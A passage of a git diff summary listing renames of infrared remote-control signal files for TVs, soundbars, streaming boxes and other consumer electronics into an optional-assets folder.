assets/resources/infrared/{ => optional-assets}/Samsung_e6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Scrn_innov.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Sharp_Roku_TV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Sonyxbr.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Bose/Bose_Solo_2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Bose/Bose_Solo_5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Bose/Bose_Soundbar.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/BrandUnknown/Amz_snd_bar.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/BrandUnknown/Soundblasterx.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Klipsch/Klipsch_Soundbar.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Samsung.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Sony/Sony_MHC-GS300AV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Sony/Sony_Old_XBR.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Sony/Sony_RDH-GTK33IP.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Vizio/Vizio_Soundbar.ir (100%) rename assets/resources/infrared/{ => optional-assets}/SoundBars/Yamaha/Yamaha_RX.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Stlth_acou.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Streaming Devices/Apple/Apple_TV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Streaming Devices/Roku/Jet_AFS-1000b.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Streaming Devices/Roku/Roku.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Streaming Devices/Roku/Roku2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Streaming Devices/Roku/Roku_Alternate.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Sunbrite.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Szxlcom_cams.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/APEX LE4643T TV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Hisense/Hisense_RokuTV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/LG/LG_C1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/LG_55UN7300AUD.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/NEC/NEC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Panasonic/Panasonic_TC-P50S2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Philips/Philips_32PFL4208T.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Samsung/Samsung.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Samsung/Samsung_BN59.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Samsung/Samsung_BN5901301A.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Samsung/Samsung_E6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Samsung/Samsung_TV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Sharp/Sharp_Roku_TV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Sony/Sony_Bravia.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Sony/Sony_XBR.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Sony/Sony_XBR_RMT-TX200U.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Sunbrite/Sunbrite.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/TCL/TCL_32S327.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/TCL/TCL_UnknownModel1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/TCL/TCL_UnknownModel2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Toshiba/Toshiba_32AV502U.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Vizio/Vizio.ir (100%) rename assets/resources/infrared/{ => optional-assets}/TVs/Westinghouse/Westinghouse.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Tcl.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Tcl_32s327.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Tcl_tv.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Vizio.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Vizio_Soundbar.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Vornado.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Westinghouse.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Whynter_AC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Xbox.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Yamaha_rx.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Zenith_AC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/3M/Projector/134,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/3M/Video Projector/134,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ABS/SAT_8776/8,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ADA/Millenium/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ADB/Set Top Box/42,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AIM/RADIO/129,129.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ANITECH/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AOC/TV/0,189.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acer/Projector/8,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/CD Player/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Receiver/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Receiver/26,232.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Receiver/81,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Tuner/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Unknown/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adcom/Unknown/81,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Airmate/Fan/3,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/CD Player/118,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Mini System/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown/127,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/VCR/127,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/VCR/130,111.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/CD Player/141,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aopen/Media PC/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/Apple TV/238,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/Computer/238,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/MP3 Player/1,222.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/MP3 Player/238,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Apple/iPod/238,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/CD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/CD Player/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Music System/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Music System/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Music System/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Tuner/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Astro/Satellite/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Atlona/Switcher/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Processor/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audiovox/Monitor/128,126.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Austar/Cable Box/32,224.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Axonix/Media Server/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Axonix/MediaMax/17,20.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir (100%) rename assets/resources/infrared/{ => 